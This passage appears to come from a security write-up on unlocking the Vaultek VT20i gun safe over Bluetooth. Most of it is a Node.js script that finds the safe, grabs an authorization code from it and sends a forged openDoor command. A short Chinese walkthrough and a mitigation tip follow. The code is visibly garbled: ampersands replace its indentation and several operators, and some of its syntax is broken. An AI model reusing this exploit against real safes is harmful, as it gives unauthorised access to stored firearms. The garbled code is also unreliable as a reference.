&&&&&&& tmpC = (tmpA&&4) + tmpB;
&&&&&&& res.push(tmpC);
&&& return
} function encodePayload(payload){
&&& var res = new Array();
&&& res.push(0x01);
&&& for(var i=0;i&payload.i=i+1){
&&&&&&& var
&&&&&&& tmpA = payload[i];
&&&&&&& tmpB = (payload[i]&&4)+97;
&&&&&&& tmpC = (payload[i]&0xF)+97;
&&&&&&& res.push(tmpB);
&&&&&&& res.push(tmpC);
&&& res.push(0xff);
&&& return
} function CRC(target){
&&& var tmp = 0;
&&& for(var i=0;i&16;i=i+1){
&&&&&&& tmp += target[i] & 0xFF &&& }
&&& var carray = new Array();
&&& carray.push(tmp&0xFF);
&&& carray.push((tmp&0xFF00)&&8);
&&& carray.push((tmp&0xFF0000)&&16);
&&& carray.push((tmp&0xFF000000)&&24);
&&& target[16] = carray.shift();
&&& target[17] = carray.shift();
&&& target[18] = carray.shift();
&&& target[19] = carray.shift();
} function scan(state){
&&& if (state === 'poweredOn') {&&&
&&&&&&& noble.startScanning();
&&&&&&& console.log("[+] Started scanning");
&&& } else {&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&& noble.stopScanning();
&&&&&&& console.log("[+] Is Bluetooth on?");
} var mcount = 0; function findMe (peripheral) {
&&& console.log('Discovered ' + peripheral.advertisement.localName);
&&& if (String(peripheral.advertisement.localName).includes("VAULTEK")){
&&&&& console.log('[+] Found '+peripheral.advertisement.localName)
&&&&& return;
&&& noble.stopScanning();
&&& peripheral.connect(function(error) {
&&&&&&& console.log('[+] Connected to peripheral: ' + peripheral.uuid);
&&&&&&& peripheral.discoverServices(['0e2d8b6d8b5e91d5bbc57ab3'],function(error, services) {
&&&&&&&&&&& targetService = services[0];
&&&&&&&&&&& targetService.discoverCharacteristics(['ffe1'], function(error, characteristics) {
&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&& targetCharacteristic = characteristics[0];
&&&&&&&&&&&&&&& targetCharacteristic.subscribe(function(error){});
&&&&&&&&&&&&&&& targetCharacteristic.discoverDescriptors(function(error, descriptors){
&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&& console.log('[+] Writing 0x01 to descriptor');
&&&&&&&&&&&&&&&&& &&var descB = new Buffer('01','hex');
&&&&&&&&&&&&&&&&&&& descriptor = descriptors[0];
&&&&&&&&&&&&&&&&&&& descriptor.writeValue(descB,function(error){});
&&&&&&&&&&&&&&&&&&& console.log('[+] Fetching authorization code');
&&&&&&&&&&&&&&&&&&& message = split(Buffer.from(rawData.shift(),'hex'),20);
&&&&&&&&&&&&&&&&&&& for(j in message){
&&&&&&&&&&&&&&&&&&&&&&& targetCharacteristic.write(message[j],true,function(error) {});
&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&& });
&&&&&&&&&&&&&&& targetCharacteristic.on('data', function(data, isNotification){
&&&&&&&&&&&&&&&&&&& if(mcount==1)
&&&&&&&&&&&&&&&&&&& {
&&&&&&&&&&&&&&&&&&&&&&& process.exit()
&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&& mcount = mcount + 1;
&&&&&&&&&&&&&&&&&&& data = decodePayload(data);
&&&&&&&&&&&&&&&&&&& message = new Buffer.from(rawData.shift(),'hex');
&&&&&&&&&&&&&&&&&&& message = decodePayload(message);
&&&&&&&&&&&&&&&&&&& message[0] = data[0];
&&&&&&&&&&&&&&&&&&& message[1] = data[1];
&&&&&&&&&&&&&&&&&&& message[2] = data[2];
&&&&& &&&&&&&&&&&&&&message[3] = data[3];
&&&&&&&&&&&&&&&&&&& console.log("[+] Obtained Auth Code:");
&&&&&&&&&&&&&&&&&&& console.log(d2h(data[0])+' '+d2h(data[1])+' '+d2h(data[2])+' '+d2h(data[3]));
&&&&&&&&&&&&&&&&&&& CRC(message);
&&&&&&&&&&&&&&&&&&& message = encodePayload(message)
&&&&&&&&&&&&&&&&&&& message = new Buffer(message);
&&&&&&&&&&&&&&&&&&& message = split(message,20);
&&&&&&&&&&&&&&&&&&& console.log("[+] Unlocking Safe");
&&&&&&&&&&&&&&&&&&& for(j in message){
&&&&&&&&&&&&&&&&&&&&&&& targetCharacteristic.write(message[j],true,function(error) {});
&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&& return;
&&&&&&&&&&&&&&& });
&&&&&&&&&&& });
&&&&&&& });
&&& return;
noble.on('stateChange', scan);&
noble.on('discover', findMe);
该脚本所执行的操作如下:
针对getAuthor和openDoor命令定义了两个模板Payload。
扫描枪支保险箱,定位服务,通过UUID实例化我们所需要交互的保险箱。
向客户端特征配置描述符中写入一个0x01值来启用通知。
在长度为20字节的数据块中发送我们getAuthor编码模板Payload来实现命令写入,然后等待获取响应信息。
解码响应信息,获取前四个字节的认证令牌,然后将获取到的认证代码填充至我们的openDoor命令模板之中。
向保险箱发送openDoor命令之后,我们将能够成功打开保险箱。
我们建议受影响的用户将Vaultek VT20i枪支保险箱切换到“旅行模式”,并禁用蓝牙功能。虽然“旅行模式”还会禁用掉距离传感器、键盘以及指纹扫描器,但是用户仍然可以使用钥匙来打开Vaultek VT20i枪支保险箱。}

我要回帖

更多关于 httpserver 发送byte 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信